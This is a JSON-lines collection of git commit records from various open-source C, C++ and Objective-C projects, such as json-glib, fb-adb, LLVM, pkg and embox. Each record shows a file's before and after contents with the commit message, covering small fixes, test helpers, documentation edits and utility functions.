{"commit":"70e2648e02232c1a439a7418388f18fee9afb3fe","old_file":"json-glib\/tests\/json-test-utils.h","new_file":"json-glib\/tests\/json-test-utils.h","old_contents":"","new_contents":"#include <string.h>\n#include <math.h>\n#include <float.h>\n#include <glib.h>\n#include <json-glib\/json-glib.h>\n\n#define json_fuzzy_equals(n1,n2,epsilon) \\\n  (((n1) > (n2) ? ((n1) - (n2)) : ((n2) - (n1))) < (epsilon))\n\n#define json_assert_fuzzy_equals(n1,n2,epsilon) \\\n  G_STMT_START { \\\n    double __n1 = (n1), __n2 = (n2), __epsilon = (epsilon); \\\n    if (json_fuzzy_equals (__n1, __n2, __epsilon)) ; else { \\\n      g_assertion_message_cmpnum (G_LOG_DOMAIN, __FILE__, __LINE__, G_STRFUNC, \\\n                                  #n1 \" == \" #n2 \" (+\/- \" #epsilon \")\", \\\n                                  __n1, \"==\", __n2, 'f'); \\\n    } \\\n  } G_STMT_END\n\n#define json_assert_almost_equals(n1,n2) \\\n  json_assert_fuzzy_equals (n1, n2, DBL_EPSILON)\n","subject":"Add float comparison utility macros for tests","message":"Add float comparison utility macros for tests\n\nWe do compare floating point values elsewhere in our code, so we should\nensure that we're doing that with a certain amount of fuzziness.\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/json-glib,frida\/json-glib,GNOME\/json-glib,frida\/json-glib"}
{"commit":"6626332f97efce89d2322a203058b4ab74ffc17b","old_file":"cmd_start_daemon.c","new_file":"cmd_start_daemon.c","old_contents":"\/*\n *  Copyright (c) 2014, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in\n *  the LICENSE file in the root directory of this source tree. An\n *  additional grant of patent rights can be found in the PATENTS file\n *  in the same directory.\n *\n *\/\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <limits.h>\n#include <arpa\/inet.h>\n#include <string.h>\n#include \"util.h\"\n#include \"autocmd.h\"\n#include \"fs.h\"\n#include \"child.h\"\n#include \"net.h\"\n#include \"strutil.h\"\n#include \"constants.h\"\n\nFORWARD(start_daemon);\n\n#if !FBADB_MAIN\n#include \"stubdaemon.h\"\n\nint\nstart_daemon_main(const struct cmd_start_daemon_info* info)\n{\n    struct cmd_stub_info sinfo = {\n        .stub.listen = true,\n        .stub.daemonize = true,\n        .stub.replace = info->start_daemon.replace,\n    };\n\n    return stub_main(&sinfo);\n}\n\n#endif\n","new_contents":"\/*\n *  Copyright (c) 2014, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in\n *  the LICENSE file in the root directory of this source tree. An\n *  additional grant of patent rights can be found in the PATENTS file\n *  in the same directory.\n *\n *\/\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <limits.h>\n#include <arpa\/inet.h>\n#include <string.h>\n#include \"util.h\"\n#include \"autocmd.h\"\n#include \"fs.h\"\n#include \"child.h\"\n#include \"net.h\"\n#include \"strutil.h\"\n#include \"constants.h\"\n\nFORWARD(start_daemon);\n\n#if !FBADB_MAIN\n#include \"stubdaemon.h\"\n\nint\nstart_daemon_main(const struct cmd_start_daemon_info* info)\n{\n    SCOPED_RESLIST(rl);\n\n    struct cmd_stub_info sinfo = {\n        .stub.listen = true,\n        .stub.daemonize = true,\n        .stub.replace = info->start_daemon.replace,\n    };\n\n    set_prgname(xaprintf(\"%s stub\", xbasename(orig_argv0)));\n    return stub_main(&sinfo);\n}\n\n#endif\n","subject":"Set prgname to stub while in daemon","message":"Set prgname to stub while in daemon\n","lang":"C","license":"bsd-3-clause","repos":"JuudeDemos\/fb-adb,JuudeDemos\/fb-adb,biddyweb\/fb-adb,0359xiaodong\/fb-adb,0359xiaodong\/fb-adb,0359xiaodong\/fb-adb,biddyweb\/fb-adb,biddyweb\/fb-adb,tcmulcahy\/fb-adb,tcmulcahy\/fb-adb,JuudeDemos\/fb-adb,tcmulcahy\/fb-adb"}
{"commit":"31ab70c9b25b7203422c12d18439cfdee95a6d8d","old_file":"ir\/be\/test\/CallingTest.c","new_file":"ir\/be\/test\/CallingTest.c","old_contents":"#include <stdio.h>\n\nint int_func(void)\n{\n  return 42;\n}\n\nfloat float_func(void)\n{\n  return 13.5f;\n}\n\nint main(int argc, char *argv[])\n{\n  printf(\"calltest.c\\n\");\n\n  printf(\"  Calling int   function: %d\\n\", int_func());\n  printf(\"  Calling float function: %f\\n\", float_func());\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n\nint int_func(void)\n{\n  return 42;\n}\n\nfloat float_func(void)\n{\n  return 13.5f;\n}\n\ndouble double_func(void)\n{\n  return 13.5;\n}\n\nint main(int argc, char *argv[])\n{\n  printf(\"calltest.c\\n\");\n\n  printf(\"  Calling int    function: %d\\n\", int_func());\n  printf(\"  Calling float  function: %f\\n\", float_func());\n  printf(\"  Calling double function: %f\\n\", double_func());\n\n  return 0;\n}\n","subject":"Add test for double call","message":"Add test for double call\n\n[r15890]\n","lang":"C","license":"lgpl-2.1","repos":"libfirm\/libfirm,libfirm\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,8l\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,8l\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,8l\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,8l\/libfirm,MatzeB\/libfirm,8l\/libfirm,libfirm\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,8l\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,8l\/libfirm"}
{"commit":"0416ae00706748da9fb6a1c716b824aa33cac1a5","old_file":"hello_world.c","new_file":"hello_world.c","old_contents":"#include <stdio.h>\n\nint main()\n{\n    printf(\"hello, world\\n\");\n}","new_contents":"#include <stdio.h>\n\nint main()\n{\n    printf(\"hello, world\\n\");\n    return 0;\n}\n","subject":"Fix gcc warning when -Wall (implicit return).","message":"Fix gcc warning when -Wall (implicit return).\n\nwarning: control reaches end of non-void function [-Wreturn-type]\r\n }\r\n ^","lang":"C","license":"mit","repos":"learnclang\/1-helloworld"}
{"commit":"394d0cdb020eaf4342d6f0fb31ca85d802f529f9","old_file":"src\/util\/dlist\/dlist_debug.c","new_file":"src\/util\/dlist\/dlist_debug.c","old_contents":"\/**\n * @file\n * @brief Paranoia checks of doubly-linked lists\n *\n * @date 05.12.2013\n * @author Eldar Abusalimov\n *\/\n#include <inttypes.h>\n#include <assert.h>\n\n#include <util\/dlist.h>\n\n\n#if DLIST_DEBUG_VERSION\nvoid __dlist_debug_check(const struct dlist_head *head) {\n\tconst struct dlist_head *p = head->prev;\n\tconst struct dlist_head *n = head->next;\n\tuintptr_t poison = head->poison;\n\n\tassertf(((!poison || (void *) ~poison == head) &&\n\t\t\tn->prev == head &&\n\t\t\tp->next == head),\n\t\t\t\"\\n\"\n\t\t\t\"head: %p, poison: %p, ~poison: %p,\\n\"\n\t\t\t\"n: %p, n->prev: %p,\\n\"\n\t\t\t\"p: %p, p->next: %p\\n\",\n\t\t\thead, (void *)poison, (void *) ~poison,\n\t\t\tn, n->prev,\n\t\t\tp, p->next);\n}\n#endif\n","new_contents":"\/**\n * @file\n * @brief Paranoia checks of doubly-linked lists\n *\n * @date 05.12.2013\n * @author Eldar Abusalimov\n *\/\n#include <inttypes.h>\n#include <assert.h>\n\n#include <util\/dlist.h>\n\n\n#if DLIST_DEBUG_VERSION\nvoid __dlist_debug_check(const struct dlist_head *head) {\n#ifndef NDEBUG\n\tconst struct dlist_head *p = head->prev;\n\tconst struct dlist_head *n = head->next;\n\tuintptr_t poison = head->poison;\n\n\tassertf(((!poison || (void *) ~poison == head) &&\n\t\t\tn->prev == head &&\n\t\t\tp->next == head),\n\t\t\t\"\\n\"\n\t\t\t\"head: %p, poison: %p, ~poison: %p,\\n\"\n\t\t\t\"n: %p, n->prev: %p,\\n\"\n\t\t\t\"p: %p, p->next: %p\\n\",\n\t\t\thead, (void *)poison, (void *) ~poison,\n\t\t\tn, n->prev,\n\t\t\tp, p->next);\n#endif\n}\n#endif\n","subject":"Fix dlist compilation with NDEBUG flag","message":"minor: Fix dlist compilation with NDEBUG flag\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"9d0a5d628d92adea01f2d5f6927b35cd0189fcc2","old_file":"randbin.c","new_file":"randbin.c","old_contents":"","new_contents":"\/\/ compile with clang:\r\n\/\/ clang -march=skylake randbin.c\r\n\/\/ or whatever architecture you have. It only works on certain architectures.\r\n\r\n#include <math.h>\r\n#include <stdio.h>\r\n\r\nint main(int argc, char **argv) {\r\n    int filesize = 0;\r\n    char byte_multiplier = 0;\r\n    if (argc <= 1) {\r\n        filesize = 512 * 1024;\r\n    } else {\r\n        sscanf(argv[1], \"%u%c\", &filesize, &byte_multiplier);\r\n    }\r\n\r\n    switch (byte_multiplier) {\r\n        case 'k':\r\n        case 'K':\r\n            filesize *= 1024;\r\n            break;\r\n\r\n        case 'm':\r\n        case 'M':\r\n            filesize *= 1024 * 1024;\r\n            break;\r\n    }\r\n\r\n    FILE *fout = fopen(\"out.bin\", \"wb\");\r\n\r\n    if (filesize <= 4) {\r\n        unsigned int a = 0;\r\n        __builtin_ia32_rdrand32_step(&a);\r\n        fwrite(&a, 1, filesize, fout);\r\n    } else {\r\n        int bytes = (int)floor((double)filesize \/ 4) + (filesize % 4);\r\n        for (int i = 0; i < bytes; i++) {\r\n            unsigned int a = 0;\r\n            __builtin_ia32_rdrand32_step(&a);\r\n            fwrite(&a, sizeof a, 1, fout);\r\n        }\r\n    }\r\n\r\n    fclose(fout);\r\n    return 0;\r\n}\r\n","subject":"Add little program that generates random binaries","message":"Add little program that generates random binaries\n\nI uses the assembly instruction ```rdrand``` via the clang compiler's builtin.","lang":"C","license":"mit","repos":"Phyllostachys\/junkcode,Phyllostachys\/junkcode,Phyllostachys\/junkcode,Phyllostachys\/junkcode,Phyllostachys\/junkcode"}
{"commit":"326619bbabd0c1eec2532407d301474e92fab2aa","old_file":"dp\/longest_increasing_subsequence\/c\/lis.c","new_file":"dp\/longest_increasing_subsequence\/c\/lis.c","old_contents":"","new_contents":"#include <stdio.h>\n\nconst int N = 1e5;\n\nint lis(int a[], int n) {\n\tint i, j;\n\tint dp[N];\n\n\tfor(i = 0; i < n; ++i)\n\t\tdp[i] = 1;\n\n\tfor(i = 0; i < n; ++i)\n\t\tfor(j = 0; j < i; ++j)\n\t\t\tif(a[j] < a[i])\n\t\t\t\tif(dp[i] < dp[j] + 1)\n\t\t\t\t\tdp[i] = dp[j] + 1;\n\n\tint mx = 0;\n\tfor(i = 0; i < n; ++i)\n\t\tif(mx < dp[i])\n\t\t\tmx = dp[i];\n\n\treturn mx;\n}\n\nint main() {\n\tint n;\n\tscanf(\"%d\", &n);\n\n\tint a[N];\n\tint i;\n\tfor(i = 0; i < n; ++i)\n\t\tscanf(\"%d\", &a[i]);\n\n\tprintf(\"%d\\n\", lis(a, n));\n}","subject":"Add longest increasing subsequence in C language.","message":"Add longest increasing subsequence in C language.\n","lang":"C","license":"cc0-1.0","repos":"ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms"}
{"commit":"21882ab7a21eb17f0d23d2d2459fdb3c6e787322","old_file":"libpkg\/pkg_util.h","new_file":"libpkg\/pkg_util.h","old_contents":"#ifndef _PKG_UTIL_H\n#define _PKG_UTIL_H\n\n#include <sys\/types.h>\n#include <sys\/sbuf.h>\n#include <sys\/param.h>\n\n#define ARRAY_INIT {0, 0, NULL}\n\nstruct array {\n\tsize_t cap;\n\tsize_t len;\n\tvoid **data;\n};\n\n#define STARTS_WITH(string, needle) (strncasecmp(string, needle, strlen(needle)) == 0)\n\n#define ERROR_SQLITE(db) \\\n\tEMIT_PKG_ERROR(\"sqlite: %s\", sqlite3_errmsg(db))\n\nint sbuf_set(struct sbuf **, const char *);\nconst char * sbuf_get(struct sbuf *);\nvoid sbuf_reset(struct sbuf *);\nvoid sbuf_free(struct sbuf *);\n\nint mkdirs(const char *path);\nint file_to_buffer(const char *, char **, off_t *);\nint format_exec_cmd(char **, const char *, const char *, const char *);\nint split_chr(char *, char);\nint file_fetch(const char *, const char *);\nint is_dir(const char *);\nint is_conf_file(const char *path, char newpath[MAXPATHLEN]);\n\nint sha256_file(const char *, char[65]);\nvoid sha256_str(const char *, char[65]);\n#endif\n","new_contents":"#ifndef _PKG_UTIL_H\n#define _PKG_UTIL_H\n\n#include <sys\/types.h>\n#include <sys\/sbuf.h>\n#include <sys\/param.h>\n\n#define STARTS_WITH(string, needle) (strncasecmp(string, needle, strlen(needle)) == 0)\n\n#define ERROR_SQLITE(db) \\\n\tEMIT_PKG_ERROR(\"sqlite: %s\", sqlite3_errmsg(db))\n\nint sbuf_set(struct sbuf **, const char *);\nconst char * sbuf_get(struct sbuf *);\nvoid sbuf_reset(struct sbuf *);\nvoid sbuf_free(struct sbuf *);\n\nint mkdirs(const char *path);\nint file_to_buffer(const char *, char **, off_t *);\nint format_exec_cmd(char **, const char *, const char *, const char *);\nint split_chr(char *, char);\nint file_fetch(const char *, const char *);\nint is_dir(const char *);\nint is_conf_file(const char *path, char newpath[MAXPATHLEN]);\n\nint sha256_file(const char *, char[65]);\nvoid sha256_str(const char *, char[65]);\n#endif\n","subject":"Remove last occurences of the dead struct array","message":"Remove last occurences of the dead struct array\n","lang":"C","license":"bsd-2-clause","repos":"en90\/pkg,khorben\/pkg,en90\/pkg,khorben\/pkg,Open343\/pkg,skoef\/pkg,Open343\/pkg,skoef\/pkg,junovitch\/pkg,junovitch\/pkg,khorben\/pkg"}
{"commit":"246372f35d6e7025e7ff16ce8d7543e961800a0e","old_file":"include\/llvm\/ExecutionEngine\/GenericValue.h","new_file":"include\/llvm\/ExecutionEngine\/GenericValue.h","old_contents":"\/\/===-- GenericValue.h - Represent any type of LLVM value -------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ \n\/\/ The GenericValue class is used to represent an LLVM value of arbitrary type.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef GENERIC_VALUE_H\n#define GENERIC_VALUE_H\n\n#include \"Support\/DataTypes.h\"\n\nnamespace llvm {\n\ntypedef uint64_t PointerTy;\n\nunion GenericValue {\n  bool            BoolVal;\n  unsigned char   UByteVal;\n  signed   char   SByteVal;\n  unsigned short  UShortVal;\n  signed   short  ShortVal;\n  unsigned int    UIntVal;\n  signed   int    IntVal;\n  uint64_t        ULongVal;\n  int64_t         LongVal;\n  double          DoubleVal;\n  float           FloatVal;\n  PointerTy       PointerVal;\n  unsigned char   Untyped[8];\n\n  GenericValue() {}\n  GenericValue(void *V) {\n    PointerVal = (PointerTy)(intptr_t)V;\n  }\n};\n\ninline GenericValue PTOGV(void *P) { return GenericValue(P); }\ninline void* GVTOP(const GenericValue &GV) {\n  return (void*)(intptr_t)GV.PointerVal;\n}\n\n} \/\/ End llvm namespace\n#endif\n","new_contents":"\/\/===-- GenericValue.h - Represent any type of LLVM value -------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ \n\/\/ The GenericValue class is used to represent an LLVM value of arbitrary type.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef GENERIC_VALUE_H\n#define GENERIC_VALUE_H\n\n#include \"Support\/DataTypes.h\"\n\nnamespace llvm {\n\ntypedef uintptr_t PointerTy;\n\nunion GenericValue {\n  bool            BoolVal;\n  unsigned char   UByteVal;\n  signed   char   SByteVal;\n  unsigned short  UShortVal;\n  signed   short  ShortVal;\n  unsigned int    UIntVal;\n  signed   int    IntVal;\n  uint64_t        ULongVal;\n  int64_t         LongVal;\n  double          DoubleVal;\n  float           FloatVal;\n  PointerTy       PointerVal;\n  unsigned char   Untyped[8];\n\n  GenericValue() {}\n  GenericValue(void *V) {\n    PointerVal = (PointerTy)(intptr_t)V;\n  }\n};\n\ninline GenericValue PTOGV(void *P) { return GenericValue(P); }\ninline void* GVTOP(const GenericValue &GV) {\n  return (void*)(intptr_t)GV.PointerVal;\n}\n\n} \/\/ End llvm namespace\n#endif\n","subject":"Use uintptr_t for pointer values in the ExecutionEngine.","message":"Use uintptr_t for pointer values in the ExecutionEngine.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@10425 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"b841954d3e11a0d626016ca709f4b4fd3ad75e8e","old_file":"Classes\/Categories\/NSDate+GTTimeAdditions.h","new_file":"Classes\/Categories\/NSDate+GTTimeAdditions.h","old_contents":"\/\/\n\/\/  NSDate+GTTimeAdditions.h\n\/\/  ObjectiveGitFramework\n\/\/\n\/\/  Created by Danny Greg on 27\/03\/2013.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"git2.h\"\n\n@interface NSDate (GTTimeAdditions)\n\n\/\/ Creates a new `NSDate` from the provided `git_time`.\n\/\/\n\/\/ time     - The `git_time` to base the returned date on.\n\/\/ timeZone - The timezone used by the time passed in.\n\/\/\n\/\/ Returns an `NSDate` object representing the passed in `time`. \n+ (NSDate *)gt_dateFromGitTime:(git_time)time timeZone:(NSTimeZone **)timeZone;\n\n\/\/ Converts the date to a `git_time`.\n\/\/\n\/\/ timeZone - An `NSTimeZone` to describe the time offset. This is optional, if\n\/\/            `nil` the default time zone will be used.\n- (git_time)gt_gitTimeUsingTimeZone:(NSTimeZone *)timeZone;\n\n@end\n\n@interface NSTimeZone (GTTimeAdditions)\n\n\/\/ The difference, in minutes, between the current default timezone and GMT.\n@property (nonatomic, readonly) int gt_gitTimeOffset;\n\n@end\n","new_contents":"\/\/\n\/\/  NSDate+GTTimeAdditions.h\n\/\/  ObjectiveGitFramework\n\/\/\n\/\/  Created by Danny Greg on 27\/03\/2013.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"git2.h\"\n\n@interface NSDate (GTTimeAdditions)\n\n\/\/ Creates a new `NSDate` from the provided `git_time`.\n\/\/\n\/\/ time     - The `git_time` to base the returned date on.\n\/\/ timeZone - The timezone used by the time passed in. Optional.\n\/\/\n\/\/ Returns an `NSDate` object representing the passed in `time`. \n+ (NSDate *)gt_dateFromGitTime:(git_time)time timeZone:(NSTimeZone **)timeZone;\n\n\/\/ Converts the date to a `git_time`.\n\/\/\n\/\/ timeZone - An `NSTimeZone` to describe the time offset. This is optional, if\n\/\/            `nil` the default time zone will be used.\n- (git_time)gt_gitTimeUsingTimeZone:(NSTimeZone *)timeZone;\n\n@end\n\n@interface NSTimeZone (GTTimeAdditions)\n\n\/\/ The difference, in minutes, between the current default timezone and GMT.\n@property (nonatomic, readonly) int gt_gitTimeOffset;\n\n@end\n","subject":"Document the timeZone as being optional.","message":"Document the timeZone as being optional.\n","lang":"C","license":"mit","repos":"tiennou\/objective-git,blackpixel\/objective-git,misterfifths\/objective-git,javiertoledo\/objective-git,Acidburn0zzz\/objective-git,0x4a616e\/objective-git,phatblat\/objective-git,nerdishbynature\/objective-git,TOMalley104\/objective-git,c9s\/objective-git,misterfifths\/objective-git,javiertoledo\/objective-git,c9s\/objective-git,pietbrauer\/objective-git,Acidburn0zzz\/objective-git,0x4a616e\/objective-git,misterfifths\/objective-git,tiennou\/objective-git,blackpixel\/objective-git,dleehr\/objective-git,blackpixel\/objective-git,alehed\/objective-git,nerdishbynature\/objective-git,libgit2\/objective-git,libgit2\/objective-git,TOMalley104\/objective-git,phatblat\/objective-git,slavikus\/objective-git,c9s\/objective-git,javiertoledo\/objective-git,libgit2\/objective-git,Acidburn0zzz\/objective-git,slavikus\/objective-git,alehed\/objective-git,0x4a616e\/objective-git,dleehr\/objective-git,c9s\/objective-git,misterfifths\/objective-git,dleehr\/objective-git,alehed\/objective-git,pietbrauer\/objective-git,TOMalley104\/objective-git,tiennou\/objective-git,slavikus\/objective-git,phatblat\/objective-git,javiertoledo\/objective-git,libgit2\/objective-git,TOMalley104\/objective-git,nerdishbynature\/objective-git,dleehr\/objective-git,pietbrauer\/objective-git,blackpixel\/objective-git,pietbrauer\/objective-git,Acidburn0zzz\/objective-git"}
{"commit":"6c1897af9f323a22cf53a195a12168e42985c62e","old_file":"smallrl.c","new_file":"smallrl.c","old_contents":"#include <stdlib.h>\n#include <curses.h>\n#include <time.h>\n\n#include \"game.h\"\n#include \"ui.h\"\n\nstatic void shutdown(void);\n\nint main(int argc, char ** argv)\n{\n    srand(time(NULL));\n\n    initscr();\n    cbreak();\n    noecho();\n    curs_set(0);\n    keypad(stdscr, TRUE);\n\n    start_color();\n    init_pair(color_black,   COLOR_BLACK,   COLOR_BLACK);\n    init_pair(color_yellow,  COLOR_YELLOW,  COLOR_BLACK);\n    init_pair(color_blue,    COLOR_BLUE,    COLOR_BLACK);\n    init_pair(color_red,     COLOR_RED,     COLOR_BLACK);\n    init_pair(color_green,   COLOR_GREEN,   COLOR_BLACK);\n    init_pair(color_cyan,    COLOR_CYAN,    COLOR_BLACK);\n    init_pair(color_magenta, COLOR_MAGENTA, COLOR_BLACK);\n\n\n    if (LINES < 24 || COLS < 80)\n    {\n        shutdown();\n        printf(\"Terminal too small.\");\n        exit(1);\n    }\n\n    do\n    {\n      erase();\n      new_game();\n    }\n    while (play());\n\n    shutdown();\n\n    return 0;\n}\n\n\nstatic void shutdown(void)\n{\n    endwin();\n    return;\n}\n","new_contents":"#include <stdlib.h>\n#include <curses.h>\n#include <time.h>\n\n#include \"game.h\"\n#include \"ui.h\"\n\nstatic void shutdown(void);\n\nint main(int argc, char ** argv)\n{\n    time_t random_seed = time(NULL);\n    printf(\"Random game #%ld\\n\", random_seed);\n    srand(random_seed);\n\n    initscr();\n    cbreak();\n    noecho();\n    curs_set(0);\n    keypad(stdscr, TRUE);\n\n    start_color();\n    init_pair(color_black,   COLOR_BLACK,   COLOR_BLACK);\n    init_pair(color_yellow,  COLOR_YELLOW,  COLOR_BLACK);\n    init_pair(color_blue,    COLOR_BLUE,    COLOR_BLACK);\n    init_pair(color_red,     COLOR_RED,     COLOR_BLACK);\n    init_pair(color_green,   COLOR_GREEN,   COLOR_BLACK);\n    init_pair(color_cyan,    COLOR_CYAN,    COLOR_BLACK);\n    init_pair(color_magenta, COLOR_MAGENTA, COLOR_BLACK);\n\n\n    if (LINES < 24 || COLS < 80)\n    {\n        shutdown();\n        printf(\"Terminal too small.\");\n        exit(1);\n    }\n\n    do\n    {\n      erase();\n      new_game();\n    }\n    while (play());\n\n    shutdown();\n\n    return 0;\n}\n\n\nstatic void shutdown(void)\n{\n    endwin();\n    return;\n}\n","subject":"Print random seed for sharing \/ debugging purposes","message":"Print random seed for sharing \/ debugging purposes\n","lang":"C","license":"bsd-2-clause","repos":"happyponyland\/smallrl,happyponyland\/smallrl,happyponyland\/smallrl"}
{"commit":"608e78d43eb205fd6bb4755c5495a7d1460a159b","old_file":"src\/tgl.c","new_file":"src\/tgl.c","old_contents":"\/* Main program for TGL (Text Generation Language). *\/\n\n#include <stdio.h>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <fcntl.h>\n\nint main(int argc, char** argv) {\n  printf(\"hello world\\n\");\n  return 0;\n}\n","new_contents":"\/* Main program for TGL (Text Generation Language). *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <fcntl.h>\n\n\/* BEGIN: String handling (strings may have NUL bytes within, and are not\n * NUL-terminated).\n *\/\n\n\/* Defines a length-prefixed string.\n * The string contents start at the byte after the struct itself.\n *\/\ntypedef struct string { unsigned len; }* string;\ntypedef unsigned char byte;\n\n\/* Returns a pointer to the beginning of character data of the given string. *\/\nstatic inline byte* string_data(string s) {\n  byte* c = (byte*)s;\n  return c + sizeof(struct string);\n}\n\n\/* Converts a C string to a TGL string.\n * The string must be free()d by the caller.\n *\/\nstatic string covert_string(char* str) {\n  unsigned int len = strlen(str);\n  string result = malloc(sizeof(struct string) + len);\n  result->len = len;\n  memcpy(string_data(result), str, len);\n  return result;\n}\n\n\/* Duplicates the given TGL string.\n * The string must be free()d by the caller.\n *\/\nstatic string dupe_string(string str) {\n  string result = malloc(sizeof(struct string) + str->len);\n  memcpy(result, str, sizeof(struct string) + str->len);\n  return result;\n}\n\/* END: String handling *\/\n\nint main(int argc, char** argv) {\n  printf(\"hello world\\n\");\n  return 0;\n}\n","subject":"Add length-prefixed string handling functions.","message":"Add length-prefixed string handling functions.\n","lang":"C","license":"bsd-3-clause","repos":"AltSysrq\/tgl,AltSysrq\/tgl"}
{"commit":"536df7c46c031adf1591ed44b5c51c905422e63f","old_file":"BBBAPI\/BBBAPI\/Classes\/BBASearchSuggestionsResult.h","new_file":"BBBAPI\/BBBAPI\/Classes\/BBASearchSuggestionsResult.h","old_contents":"\/\/\n\/\/  BBASearchSuggestionsResult.h\n\/\/  BBBAPI\n\/\/\n\/\/  Created by Owen Worley on 12\/01\/2015.\n\/\/  Copyright (c) 2015 Blinkbox Entertainment Ltd. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n@class FEMObjectMapping;\n\n\/**\n *  Represents data returned from the book search suggestions service (search\/suggestions)\n *\/\n@interface BBASearchSuggestionsResult : NSObject\n\n@property (nonatomic, copy) NSString *type;\n@property (nonatomic, copy) NSArray *items;\n\n\/**\n *  Describes the mapping of server search result data to `BBASearchSuggestionsResult`\n *\/\n+ (FEMObjectMapping *) searchSuggestionsResultMapping;\n\n@end\n","new_contents":"\/\/\n\/\/  BBASearchSuggestionsResult.h\n\/\/  BBBAPI\n\/\/\n\/\/  Created by Owen Worley on 12\/01\/2015.\n\/\/  Copyright (c) 2015 Blinkbox Entertainment Ltd. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n@class FEMObjectMapping;\n\n\/**\n *  Represents data returned from the book search suggestions service (search\/suggestions)\n *\/\n@interface BBASearchSuggestionsResult : NSObject\n\n@property (nonatomic, copy) NSString *type;\n\/**\n *  Contains `BBASearchServiceSuggestion` objects\n *\/\n@property (nonatomic, copy) NSArray *items;\n\n\/**\n *  Describes the mapping of server search result data to `BBASearchSuggestionsResult`\n *\/\n+ (FEMObjectMapping *) searchSuggestionsResultMapping;\n\n@end\n","subject":"Document contents of items array","message":"Document contents of items array\n","lang":"C","license":"mit","repos":"blinkboxbooks\/blinkbox-network.objc,blinkboxbooks\/blinkbox-network.objc"}
